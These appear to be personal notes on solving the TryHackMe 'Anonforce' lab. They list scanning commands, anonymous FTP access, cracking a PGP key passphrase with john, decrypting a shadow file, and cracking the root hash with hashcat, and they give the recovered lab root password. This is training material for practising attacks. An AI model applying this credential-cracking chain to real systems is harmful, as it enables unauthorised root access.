RCON

info

https://tryhackme.com/room/bsidesgtanonforce

10.10.205.121
10.9.15.141 ME

scan

nmap $ip -vvv
nmap $ip -vvv -p-
nmap $ip -vvvv -sC -sV -p 21,22

results

21/tcp open ftp   syn-ack vsftpd 3.0.3 anonymous login
22/tcp open ssh   syn-ack OpenSSH 7.2p2

creds

/home/melodias/user.txt
	6[...]8

backup.pgp -> x[...]0

SSH:
	root:h[...]i

/root/root.txt
f[...]e

EXPLOIT

FTP

FTP anonymous login, server / is FTP /

/notread backup.pgp and private.asc

gpg2john private.asc > hash
john hash
-> x[...]0

gpg --import private.asc

gpg --output ./file --decrypt ./backup.pgp

→ shadow file

hash crack

root hash
$[...]0
SHA-256
melodias hash
$[...]1
MD5Unix

Starting with user melodias because the algorithm is much faster to crack than roots hash.
hashcat -a 0 -m 500 melodias wlists/rockyou.txt -O

But hashcat couldn't find a valid password, therefore I proceeded with roots hash.

hashcat -a 0 -m 1800 root wlists/rockyou.txt -O

hikari

root

Use credentials to login via SSH as root and read the flag located / root/root.txt